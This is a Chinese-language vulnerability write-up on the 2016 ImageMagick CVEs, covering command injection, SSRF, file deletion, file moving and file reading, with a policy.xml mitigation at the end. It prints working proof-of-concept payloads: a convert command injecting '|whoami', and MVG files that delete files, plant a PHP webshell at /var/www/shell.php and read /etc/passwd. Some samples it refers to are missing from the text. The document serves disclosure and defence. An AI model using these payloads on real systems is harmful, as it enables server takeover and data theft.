ImageMagick介绍

ImageMagick是一个免费的创建、编辑、合成图片的软件。它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。ImageMagick是免费软件:全部源码开放,可以自由使用,复制,修改,发布,它遵守GPL许可协议,可以运行于大多数的操作系统,ImageMagick的大多数功能的使用都来源于命令行工具。

ImageMagick的代码地址 https://github.com/ImageMagick/ImageMagick

ImageMagick漏洞介绍

此次ImageMagick 共爆出了5个CVE。

  • CVE-2016-3714 - Insufficient shell characters filtering leads to code execution
  • CVE-2016-3718 - SSRF
  • CVE-2016-3715 - File deletion
  • CVE-2016-3716 - File moving
  • CVE-2016-3717 - Local file read

目前来看,大家热议的漏洞是 CVE-2016-3714,此漏洞利用最为直接,属于有条件的RCE。

CVE-2016-3714分析

在代码 ImageMagick/MagickCore/delegate.c 中有 system(sanitize_command) 操作,但是sanitize_command可被用户直接控制,并且对输入的内容没有进行过滤,因此造成命令执行。

sanitize_command从command中取值,command的内容为

第99行的代码为:

而command命令为

1
"wget" -q -O "%o" "https:%M"

而%M是从我们输入的内容获取的,因此我们只要构造一个https开头的链接,再拼上命令即可完成RCE(需要考虑双引号的闭合)。

POC

1
convert 'https://test"|whoami"' 1.png

对于mvg图片的转化,我们生成一个mvg文件,如下所示

执行convert后,如期产生echo内容。

对于svg图片的转化,我们生成一个svg文件,如下所示

执行convert后,如期产生echo内容。

CVE-2016-3718分析

此漏洞属于SSRF,可以利用mvg语法的url函数,向服务器发起http请求,根据响应时间,判断服务器地址是否存在。

1
2
3
4
5
6
7
8
ssrf.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
$ convert ssrf.mvg out.png

CVE-2016-3715分析

此漏洞属于任意文件删除,可以利用mvg语法的ephemeral协议,删除当前权限下的服务器的任意文件。

1
2
3
4
5
6
7
8
9
delete_file.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context
$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # deletes /tmp/delete.txt

CVE-2016-3716分析

此漏洞属于任意文件更改,可以利用mvg语法的msl协议,使用效果类似于linux下的move命令。

在特定条件下,如对文件后缀进行了过滤,但是可以上传文件,并且知道文件的绝对路径,此时再使用ImageMagick库就会产生问题。有些情况下,可以产生服务器被拿下的风险。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context
/tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>
/tmp/image.gif - image with php shell inside
(https://www.secgeek.net/POC/POC.gif for example)
$ convert file_move.mvg out.png

CVE-2016-3717分析

此漏洞属于任意文件读取,可以利用mvg语法的label协议,读取当前权限下的服务器的任意文件。

1
2
3
4
5
6
7
8
file_read.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context
$ convert file_read.mvg out.png

漏洞总结

此漏洞和java反序列化漏洞造成影响的方式相似,均为需要结合具体的应用才能造成危害。

目前从乌云报告的漏洞来看,Wordpress的图片功能,新浪的SAE沙盒绕过,Baidu上传图片接口,人人网等已被爆出漏洞。

1
2
3
4
http://www.wooyun.org/bugs/wooyun-2016-0205051
http://www.wooyun.org/bugs/wooyun-2016-0205206
http://www.wooyun.org/bugs/wooyun-2016-0205047
http://www.wooyun.org/bugs/wooyun-2016-0205256

由于此漏洞的利用方式比较特殊,因此不具备批量扫描的能力。

防护方案

1,鉴定图片文件的文件头是否符合预期。

2,修改ImageMagick的配置文件(Mac的路径为 /usr/local/Cellar/imagemagick/6.9.3-0/etc/ImageMagick-6/policy.xml),如下所示

1
2
3
4
5
6
7
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>

参考文章

http://pastebin.com/aE4sKnCg

http://weibo.com/p/1001603971443670055277